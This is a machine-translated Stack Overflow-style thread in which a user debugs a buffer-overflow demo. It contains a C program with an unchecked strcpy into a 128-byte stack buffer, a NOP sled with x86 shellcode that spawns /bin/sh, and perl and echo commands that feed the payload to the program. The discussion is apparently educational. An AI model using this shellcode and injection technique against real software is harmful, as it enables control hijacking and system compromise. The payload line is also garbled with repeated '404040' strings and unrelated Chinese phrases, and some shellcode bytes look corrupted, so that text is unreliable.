Memory 使用\x表示法在内存中存储NOPs指令

Memory 使用\x表示法在内存中存储NOPs指令,memory,gcc,c,hex,Memory,Gcc,C,Hex,我试图在输入中添加一些外壳代码,以演示导致控制劫持的缓冲区溢出。 这里是程序 int foo(char *mainbuff) { char foobuff[128]; strcpy(foobuff, mainbuff); printf("foobuff new value is %s\n", foobuff); return 0; } int main() { char mainbuff[256]; printf("Please enter value of mainbuff\n\n");

我试图在输入中添加一些外壳代码,以演示导致控制劫持的缓冲区溢出。 这里是程序

int foo(char *mainbuff)
{
char foobuff[128];
strcpy(foobuff, mainbuff);
printf("foobuff new value is %s\n", foobuff);
return 0;
}


int main()
{
char mainbuff[256];
printf("Please enter value of mainbuff\n\n");
scanf("%s", mainbuff);
foo(mainbuff);
printf("Program is exitting normally!!\n\n\n");
return 0;
}
根据我的理解,当我给c程序这个输入时,它应该把它作为一个字节存储在内存中。因此,当我将NOP与外壳代码和地址连接起来时,我的输入看起来像

目前404040404040404040404040404040)))中国政府在以下时间404040404040404040404040404040)))))中国政府在以下时间404040404040四川)))))中国中国政府在\ \x90 \ \x90\x90\\x90\x90\x90\x90\x90\x90\x90\\x90\x90\\x90\x90\\x90\x90\x90 \ \ \ \ \ \x90\x90\x90 \ \ \ \ \ \x90 \x90 \ \ \x90 \x90 \ \ \ \x90 \ \ \x90 \ \ \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \ \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x80b\x8d\x53\x53\x0c\x0c\x0c\xcd\x80\x80\x08\x08\x58\x50\x58\x45\x45\xf6

它应该以单个字节的形式存储在数组中,但编译器添加了另一个
\
以不转义它们,并将它们作为
0x3039785c
存储在堆栈内存中,这是
09x\
的十六进制形式。存储此字符串的文件也不完全是我存储的字节大小。我在64位机器上,但我的程序是使用gcc中的-m32选项编译的

这是怎么回事

我应该给我的c程序\x90这个输入,它应该把它作为一个字节存储在内存中

您似乎直接输入了
\x90
。这将导致程序(实际上是
stdin
)将其视为4个连续字符,
0x5c、0x78、0x39、0x30
,这将把endian转换为您提到的
0x3039785c


您可以尝试
echo-e“\x90\x90…”/a.out
通过转义将外壳代码导入stdin。

So。。我猜你是把它作为shell的输入?改用python或perl输出,例如
python-c'print“\x90…”./yourprogram
@EugeneSh。谢谢,你能看到下面的评论吗?回答并回答你的想法吗?好的,这样做了,但问题是我的整个字符串没有占用一行,一些字符正在下一行的后半部分打印。当我将这个字符串输入到程序中时,它只接受单行上的字符,而将其他字符保留在下一行的另一侧。我的向量是
perl-e'print”\x90“x112。”\xb8\x32\x2f\x73\x68\x08\x50\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\x89\xd0\x0b\xcd\x80\x10\xd2\xff\xff”
最后三个字节位于第二行的末尾,而第二行的其余部分似乎是空的。最后三个字节就是这样做的
�����������������������������������������������������������������������������������������������������������������2/sh�Ph/箱��1.�RS���а                                                                                                                                        ���
perl-e'print“\x90”x112.”\xb8\x32\x2f\x73\x68\xc1\xe8\x08\x50\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\x89\xd0\xb0\x0b\xcd\x80\x50\x50\x60\x62\x42\xff\xff”发生的情况相同,因为现在我已经更改了address@aneela“不在同一条线上”的问题由外壳代码中的白色字符
\x0c
\x0b
引起。然而,正如
man scanf
所说的那样,%s匹配一系列非空白字符,这将在该位置打断您的外壳代码。谢谢@Gen Chen,这正是我所缺少的。